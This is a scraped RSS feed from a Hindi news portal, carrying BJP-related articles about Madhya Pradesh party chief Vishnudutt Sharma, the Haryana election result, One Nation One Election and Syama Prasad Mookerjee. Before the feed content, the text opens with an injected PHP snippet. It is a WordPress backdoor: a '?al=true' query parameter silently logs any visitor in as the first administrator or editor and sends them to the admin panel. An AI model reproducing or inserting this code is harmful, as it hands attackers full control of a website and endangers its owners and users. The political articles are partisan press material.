// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Vishnudutt Sharma – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Fri, 06 Dec 2024 14:26:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 विष्णुदत्त शर्मा आज भाजपा कार्यकर्ताओं के साथ देखेंगे ‘द साबरमती रिपोर्ट’ https://pratyushaashakinayikiran.com/?p=106769 Fri, 06 Dec 2024 14:26:00 +0000 https://pratyushaashakinayikiran.com/?p=106769 खजुराहो
मध्यप्रदेश भारतीय जनता पार्टी अध्यक्ष विष्णुदत्त शर्मा आज अपने संसदीय क्षेत्र के पार्टी कार्यकर्ताओं के साथ 'द साबरमती रिपोर्ट' फिल्म देखेंगे।

पार्टी की ओर से मुहैया कराई गई जानकारी के अनुसार शर्मा अपने संसदीय क्षेत्र के कार्यकर्ताओं के साथ दोपहर को खजुराहो के एनवीआर थिएटर में ये फिल्म देखेंगे।

इस दौरान शर्मा के संसदीय क्षेत्र खजुराहो के पन्ना और छतरपुर क्षेत्र के पार्टी कार्यकर्ता उपस्थित रहेंगे।

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प्रधानमंत्री जी की कार्यपद्धति से हरियाणा में तीसरी बार भाजपा की सरकार बनी: CM डॉ. मोहन यादव https://pratyushaashakinayikiran.com/?p=81768 Tue, 08 Oct 2024 20:10:00 +0000 https://pratyushaashakinayikiran.com/?p=81768 भोपाल
मुख्यमंत्री डॉ. मोहन यादव एवं भारतीय जनता पार्टी के प्रदेश अध्यक्ष व खजुराहो सांसद श्री विष्णुदत्त शर्मा ने हरियाणा विधानसभा चुनाव में भाजपा की लगातार तीसरी बार ऐतिहासिक विजय और जम्मू-कश्मीर में पार्टी के अच्छे प्रदर्शन पर पार्टी के शीर्ष नेतृत्व का आभार जताते हुए हरियाणा एवं जम्मू-कश्मीर के कार्यकर्ताओं को बधाई दी है। मुख्यमंत्री डॉ. मोहन यादव ने कहा कि प्रधानमंत्री श्री नरेन्द्र मोदी जी की कार्यपद्धति से हरियाणा में तीसरी बार भाजपा की सरकार बन रही है। असल में यह विधानसभा चुनाव कांग्रेस का नहीं, राहुल गांधी के फेल होने का चुनाव था। भाजपा प्रदेश अध्यक्ष व खजुराहो सांसद श्री विष्णुदत्त शर्मा ने कहा प्रधानमंत्री श्री नरेन्द्र मोदी जी के नेतृत्व को हरियाणा और जम्मू-कश्मीर की जनता ने अपना आशीर्वाद दिया है। हरियाणा में भाजपा की जीत और जम्मू-कश्मीर में पार्टी के बेहतर प्रदर्शन ने बता दिया कि जनता प्रधानमंत्री श्री नरेन्द्र मोदी जी के साथ है। भाजपा प्रदेश अध्यक्ष व सांसद श्री शर्मा ने भाजपा प्रदेश कार्यालय में कार्यकर्ताओं का मुंह मीठा कराने के साथ आतिशबाजी कर जश्न मनाया।

जनता विकास को पसंद करती है, भाजपा के विकास कार्यों पर जनता को भरोसा-डॉ. मोहन यादव
मुख्यमंत्री डॉ. मोहन यादव ने कहा कि प्रधानमंत्री श्री नरेन्द्र मोदी जी के नेतृत्व में भाजपा की हरियाणा सरकार ने 10 सालों में बहुत अच्छा कार्य किया है। प्रधानमंत्री श्री नरेन्द्र मोदी जी की कार्यपद्धति का ही परिणाम है कि हरियाणा में तीसरी बार भाजपा की सरकार बन रही है। मैं सभी निर्वाचित जनप्रतिनिधियों को बधाई देता हूं। मैंने खुद भी हरियाणा चुनाव प्रचार में पहुंचा था। मुख्यमंत्री डॉ. मोहन यादव ने कहा कि मैंने पहले भी कहा था कि असल में यह चुनाव कांग्रेस का नहीं था, बल्कि राहुल गांधी के फेल होने का था। भाजपा ने विकास के एजेंडे को आगे बढ़ाया है। हम सब मिलकर विकास की बात करते हैं। जनता भी विकास की बात को ही पसंद करती है और इसलिए हरियाणा में कमल खिला है। प्रधानमंत्री श्री नरेन्द्र मोदी जी के नेतृत्व में भाजपा द्वारा किए जा रहे विकास कार्यों पर जनता ने भरोसा जताया है।

गरीब कल्याण के कार्यों को जनता ने आशीर्वाद दिया है – श्री विष्णुदत्त शर्मा
भाजपा प्रदेश अध्यक्ष व सांसद श्री विष्णुदत्त शर्मा ने कहा कि आज का दिन भाजपा के लिए ऐतिहासिक दिन है। प्रधानमंत्री श्री नरेन्द्र मोदी जी के नेतृत्व, केंद्रीय गृह मंत्री श्री अमित शाह जी की कुशल रणनीति और भाजपा के राष्ट्रीय अध्यक्ष श्री जगत प्रकाश नड्डा जी के साथ कार्यकर्ताओं की अथक मेहनत व परिश्रम से यह परिणाम आए हैं। प्रधानमंत्री श्री नरेन्द्र मोदी जी के नेतृत्व को जनता ने आशीर्वाद दिया है। भाजपा के बूथ-बूथ के कार्यकर्ताओं ने सजग प्रहरी की तरह कार्य किया, इसी का परिणाम है कि हम हरियाणा में लगातार तीसरी बार सरकार बना रहे हैं। प्रधानमंत्री श्री नरेन्द्र मोदी जी के नेतृत्व, केंद्रीय गृह मंत्री श्री अमित शाह जी की कुशल रणनीति और भाजपा के राष्ट्रीय अध्यक्ष श्री जगत प्रकाश नड्डा जी के साथ कार्यकर्ताओं की अथक मेहनत व परिश्रम से यह परिणाम आए हैं। मैं प्रधानमंत्री श्री नरेन्द्र मोदी जी, केंद्रीय गृह मंत्री श्री अमित शाह जी एवं पार्टी के राष्ट्रीय अध्यक्ष श्री जगत प्रकाश नड्डा जी का आभार व्यक्त करते हुए मध्यप्रदेश भाजपा के कार्यकर्ताओं की ओर से हरियाणा और जम्मू-कश्मीर के सभी कार्यकर्ताओं व पूरी टीम को बधाई एवं शुभकामनाएं प्रेषित करता हूं। हरियाणा की जनता ने विधानसभा चुनाव में लगातार तीसरी बार भाजपा पर विश्वास व्यक्त किया है। हरियाणा के चुनाव परिणाम और जम्मू-कश्मीर में भाजपा के अच्छे प्रदर्शन से स्पष्ट हो गया कि जनता ने प्रधानमंत्री श्री नरेन्द्र मोदी जी के करीब कल्याण के कार्यों को अपना आशीर्वाद दिया है। देश की जनता प्रधानमंत्री जी के साथ है।  

प्रदेश कार्यालय में मुंह मीठा कर की गई आतिशबाजी
हरियाणा में भाजपा की ऐतिहासिक विजय और जम्मू-कश्मीर में पार्टी के अच्छे प्रदर्शन पर भाजपा प्रदेश कार्यालय में आतिशबाजी कर जश्न मनाया गया। भाजपा प्रदेश अध्यक्ष श्री शर्मा ने कार्यकर्ताओं का मुंह मीठा कराया। कार्यकर्ताओं ने एक-दूसरे को पार्टी के शानदार प्रदर्शन पर बधाई दी।

इस अवसर पर वरिष्ठ नेता श्री शैलेन्द्र शर्मा, प्रदेश मंत्री श्री रजनीश अग्रवाल, प्रदेश कार्यालय मंत्री डॉ. राघवेन्द्र शर्मा एवं प्रदेश प्रवक्ता श्री अजय धवले सहित कार्यकर्ता उपस्थित रहे।

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वन नेशन, वन इलेक्शन को लेकर समिति की सिफारिशों को मंजूरी दिए जाने का निर्णय ऐतिहासिक: विष्णुदत्त शर्मा https://pratyushaashakinayikiran.com/?p=72289 Wed, 18 Sep 2024 21:57:00 +0000 https://pratyushaashakinayikiran.com/?p=72289 भोपाल
भारतीय जनता पार्टी के प्रदेश अध्यक्ष व खजुराहो सांसद श्री विष्णुदत्त शर्मा ने केंद्रीय मंत्रिमंडल द्वारा वन नेशन, वन इलेक्शन पर कोविंद कमेटी की सिफारिशों को मंजूरी दिए जाने के ऐतिहासिक फैसले को लेकर भाजपा प्रदेश कार्यालय में मीडिया को प्रतिक्रिया दी। श्री विष्णुदत्त शर्मा ने कहा कि प्रधानमंत्री श्री नरेन्द्र मोदी जी के कुशल नेतृत्व में आज केंद्रीय मंत्रिमंडल ने वन नेशन, वन इलेक्शन को लेकर पूर्व राष्ट्रपति श्री रामनाथ कोविंद की अध्यक्षता में गठित कमेटी की सिफारिशों को मंजूरी देने का स्वागत योग्य निर्णय लिया है। भारतीय जनता पार्टी ने अपने संकल्प पत्र में वन नेशन, वन इलेक्शन का वादा किया था। मोदी जी की एक और गारंटी पूरी होने की ओर बढ़ चली है। मोदी जी के तीसरे कार्यकाल के 100 दिन पूरे होने के पश्चात एक ऐसी समस्या का समाधान किया जा रहा है, जिसकी दशकों से देश आस लगाए बैठा था। इस कदम का स्वागत करते हुए मैं प्रधानमंत्री जी का आभार व्यक्त करता हूं।
मोदी जी के कुशल नेतृत्व में देश नया इतिहास लिखने को तैयार
भाजपा प्रदेश अध्यक्ष श्री विष्णुदत्त शर्मा ने कहा कि प्रधानमंत्री श्री नरेंन्द्र मोदी जी की दूरदर्शिता से अमृत काल में हम नया इतिहास लिखने को तैयार हैं। इस फैसले से देश में कई प्रकार के संसाधनों की बचत होगी। इस अवधारणा से चुनावी प्रक्रिया को सरल और प्रभावी बनाया जा सकता है और देश में एक नई राजनैतिक संस्कृति को स्थापित किया जा सकता है, जिससे लोकतंत्र को और मजबूती मिलेगी। यदि सभी चुनाव एक साथ होते हैं तो यह राजनीतिक स्थिरता को बढ़ावा मिलेगा और सरकारों को कार्य करने का अधिक समय मिलेगा। एक ही समय पर चुनाव कराने से सरकारों और राजनीतिक पार्टियों के खर्चों में कमी आएगी, जिससे संसाधनों का बेहतर उपयोग हो सकेगा। एक साथ चुनाव होने से राजनीतिक दल अपनी नीतियों और विकास कार्यों पर अधिक केन्द्रित कर सकेंगे।
हर गारंटी पूरा होने की गारंटी हैं मोदी जी
    भाजपा प्रदेश अध्यक्ष श्री विष्णुदत्त शर्मा ने कहा कि प्रधानमंत्री श्री नरेन्द्र मोदी के नेतृत्व में भारतीय जनता पार्टी की सरकार जो कहती है वह करके दिखाती है। हमने घोषणा पत्र में कहा था कि देश में वन नेशन, वन इलेक्शन लागू करेंगे। आज समिति की सिफारिशों को मंजूरी देकर केन्द्रीय मंत्रिमंडल ने इस ऐतिहासिक कार्य की शुरूआत कर दी है। उन्होंने कहा कि वन नेशन, वन इलेक्शन को लेकर कांग्रेस ने देश में भ्रम फैलाया, जबकि भाजपा ने अपना वादा निभाकर ऐतिहासिक कार्य किया है। श्री शर्मा ने कहा कि देश में 1951 से 1967 तक संसद और विधानसभाओं के चुनाव एक साथ होते थे, लेकिन बाद में यह क्रम बिगड़ गया। 1999 में लॉ कमीशन ने ये सिफारिश की थी कि संसद और राज्य विधानसभाओं के चुनाव पांच साल में एक बार होना चाहिए, ताकि देश में विकास के कार्यक्रम चलते रहें, अनावश्यक खर्चों से बचा जा सके और कानून व्यवस्था प्रभावित न हो। 2015 में भी संसदीय समिति ने अपनी 79 वीं रिपोर्ट में वन नेशन, वन इलेक्शन को चरणों में लागू करने की सिफारिश की थी। इसके आधार पर ही पूर्व राष्ट्रपति श्री रामनाथ कोविंद की अध्यक्षता में हाई लेवल कमेटी गठित की गई थी। इस समिति ने संविधान एवं कानूनी विशेषज्ञों, राजनीतिक दलों, पूर्व न्यायाधीशों, वकीलों एवं आम लोगों से चर्चा के आधार पर अपनी रिपोर्ट तैयार की थी। उन्होंने कहा कि कोविंद कमेटी ने वन नेशन, वन इलेक्शन को दो चरणों में लागू करने की सिफारिश की है। पहले चरण में संसद और विधानसभाओं के चुनाव साथ होंगे। दूसरे चरण में सभी स्थानीय संस्थाओं ग्राम पंचायत, जिला पंचायत, नगर निगम, नगर पालिकाओं आदि के चुनाव होंगे। सिफारिशों को लेकर राष्ट्रव्यापी विचार-विमर्श होगा, जिसके बाद इसे लागू करने की प्रक्रिया शुरू की होगी।

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डॉ. मुखर्जी : निष्काम, निस्वार्थ, निष्कपट राज-योगी: विष्णुदत्त शर्मा https://pratyushaashakinayikiran.com/?p=44195 Sat, 22 Jun 2024 17:35:00 +0000 https://pratyushaashakinayikiran.com/?p=44195 भोपाल
जम्मू- कश्मीर को भारतीय संविधान के दायरे में लाने और एक देश में दो विधान, दो प्रधान और दो निशान (झंडा) के विरोध में सबसे पहले आवाज उठाने वाले भारतीय जनसंघ के संस्थापक डॉ. श्यामा प्रसाद मुखर्जी का 23 जून को बलिदान दिवस है। कश्मीर से विरोधाभासी प्रावधानों की समाप्ति के लिए उन्होंने लंबा संघर्ष किया, लेकिन चाहकर भी उनका यह स्वप्न उनके जीते जी पूरा नहीं हो पाया और रहस्यमय परिस्थितियों में 23 जून 1953 को उनकी मृत्यु हो गई। उनका यह स्वप्न स्वतंत्रता प्राप्ति के 70 वर्ष बाद तब पूरा हुआ जब प्रधानमंत्री श्री नरेंद्र मोदी जी की सरकार ने अगस्त 2019 में संसद में संविधान के अनुच्छेद 370 एवं 35-। को समाप्त करने का बिल पारित कराया। लेकिन डॉ. श्यामाप्रसाद मुखर्जी का भारत और भारतीयों के लिए योगदान सिर्फ जम्मू-कश्मीर तक सीमित नहीं है। डॉ. श्यामाप्रसाद मुखर्जी के व्यक्तित्व का समग्र विश्लेषण उन्हें उन युग-पुरुषों में स्थापित करता है, जो वर्तमान की देहलीज पर बैठकर भविष्य की सामाजिक और राजनीतिक गणनाओं का आंकलन करने में समर्थ थे। पचास के दशक में, जनसंघ की स्थापना के मंगलाचरण के दौर में भारत की भावी राजनीति और सामाजिक व्यवस्थाओं को लेकर उन्होंने जो चिंताएं व्यक्त की थीं, वो आज पूरी विकरालता और भयावहता के साथ सिर उठाती दिखाई देती हैं।

डॉ. श्यामाप्रसाद मुखर्जी बंगाली भद्रलोक के ऐसे प्रभावशाली परिवार में जन्मे थे, जो उस समय बंगाल में अपनी बौद्धिकता के लिए विख्यात था। मात्र 33 साल की उम्र में डॉ. मुखर्जी कलकत्ता विश्वविद्यालय के कुलपति बन गए थे। इतनी कम उम्र में कुलपति बनने वाले वो पहले भारतीय थे। उनके पिता भी कलकत्ता विश्वविद्यालय में कुलपति रह चुके थे, लेकिन डॉ. श्यामाप्रसाद मुखर्जी ने यह मुकाम अपनी योग्यता और विद्वता से हांसिल किया था। शिक्षा के शिखर से उतरकर भारतीय राजनीति में उनका पदार्पण गहन राष्ट्रीय उद्देश्यों के लिए हुआ था। डॉ. मुखर्जी उस समय बंगाल में जारी मुस्लिम लीग की विभाजनकारी और सांप्रदायिक राजनीति से काफी नाराज और विचलित थे। मुस्लिम लीग की राजनीति बंगाल को एक और विभाजन की ओर ले जा रही थी। मुस्लिम लीग सुनियोजित तरीके से ब्रिटिश-शासन की मदद से भारत के पूर्वी हिस्सों में हिन्दुओं को हाशिए पर ढकेल रही थी। डॉ. मुखर्जी ने संकल्प लिया था कि मुस्लिम लीग की कट्टरता के खिलाफ वो हिन्दू-समाज को जागृत करेंगे। इस लड़ाई को वो सामाजिक और राजनीतिक, दोनों मोर्चों पर लड़ना चाहते थे। इसी के मद्देनजर उन्होंने बंगाल में सक्रिय कृषक प्रजा पार्टी के प्रमुख फजल-उल-हक और बंगला के जाने-माने महाकवि काजी नजरूल इस्लाम के साथ इस काम को आगे बढ़ाया।

हिन्दू एकता और देश की अखंडता पर आसन्न खतरों ने उन्हें हिंदू महासभा की ओर आकर्षित किया, जिसका नेतृत्व वीर सावरकर करते थे। 1939 में वो हिंदू महासभा के अध्यक्ष बन गए। अध्यक्ष के रूप मे उन्होंने घोषणा की कि संयुक्त भारत के लिए तत्काल समग्र स्वतंत्रता हांसिल करना हिंदू महासभा का मूल उद्देश्य है। गौरतलब है कि महात्मा गांधी ने भी हिंदू महासभा में उनकी सक्रियता का स्वागत किया था। गांधी जी चाहते थे कि पंडित मदनमोहन मालवीय के निधन के बाद हिंदू-समाज के नेतृत्व के लिए किसी प्रभावशाली व्यक्ति को आगे आना चाहिए। गांधी जी डॉ. मुखर्जी को मदनमोहन मालवीय के विकल्प के रूप में देखते थे और उनके राष्ट्रवादी रूख तथा निष्ठा पर पूरा भरोसा करते थे। हिन्दू महासभा में शामिल होने के बाद जब डॉ. मुखर्जी गांधी जी से मिलने पहुंचे, तो दोनों के बीच दिलचस्प संवाद हुआ। डॉ. मुखर्जी ने गांधी जी से कहा कि आप मेरे हिन्दू महासभा में शामिल होने पर खुश नही होंगे,  तो गांधीजी ने उनसे कहा था कि दृ ’’सरदार पटेल हिन्दू मनोमस्तिष्क से ओतप्रोत कांग्रेसमैन हैं, आप हिन्दू महासभाई हो, जिसका ह््रदय कांग्रेस का है। यही देश के हित में है’’। महात्मा गांधी के कहने पर ही पं. नेहरू ने डॉ. मुखर्जी को अपनी कैबिनेट में शामिल किया था।  पं. नेहरू की कैबिनेट में रहते हुए डॉ. मुखर्जी ने कई बड़े काम किए। पं. नेहरू भी उनके कामों के कायल थे, लेकिन पाकिस्तान, कश्मीर या शरणार्थियों जैसे मसलों मे दोनों के बीच व्यापक और गहरी राजनीतिक असहमति थी। धारा 370, हिंदू कोड बिल और समान नागरिक संहिता जैसे मुद्दों पर भी पं. नेहरू से उनकी पटरी कभी भी नहीं बैठ पाई। ये ही वो कारण हैं, जो अन्ततः नेहरू कैबिनेट से उनके इस्तीफा का कारण बने।

आजादी के पहले बंगाल में मुस्लिम लीग के प्रभुत्व के विरुद्ध डॉ. श्यामा प्रसाद मुखर्जी ने जबरदस्त संघर्ष किया और देश को होने वाले नुकसान से बचा लिया। विभाजन के समय भी डॉ. मुखर्जी ने देश की जनता और नेतृत्व को आगाह किया था- ’’पाकिस्तान साम्प्रदायिक समस्या का कोई हल नही हैं। इससे वह और उग्र होगी, जिसका परिणाम गृहयुद्ध होगा। हमें इससे आंखें नहीं मूंदना चाहिए कि पाकिस्तान की लालसा का स्त्रोत वस्तुतः शासन सत्ता के रूप में इस्लाम की पुनःप्रतिष्ठा करने की इच्छा है।’’ 1953 में जनसंघ के पहले अधिवेशन में उन्होंने पंडित जवाहरलाल नेहरू की कश्मीर नीति का विरोध करते हुए कहा था कि एक देश में दो विधान,दो निशान, दो प्रधानकृनही चलेंगे,. नहीं चलेंगे। नेहरू-सरकार की नीतिय़ों से असहमत होने के बाद लोकसभा में दिया गया उनका भाषण ऐतिहासिक है। अगस्त 1952 में लोकसभा में काश्मीर के मुद्दे पर भाषण देते हुए डॉ. मुखर्जी ने कहा था- ’’दुनिया को यह पता होना चाहिए कि भारत महज एक थ्योरी या परिकल्पना नहीं है, बल्कि एक यथार्थ है…एक ऐसा देश जहां हिन्दू, मुसलमान, ईसाई और सभी बिरादरी के लोग बगैर किसी भय के समान अधिकारों के साथ रह सकेंगे। यही हमारा संविधान है,जिसे हमने बनाया है और पूरी शिद्दत, निष्ठा और ताकत से लागू करने जा रहे हैं’’।

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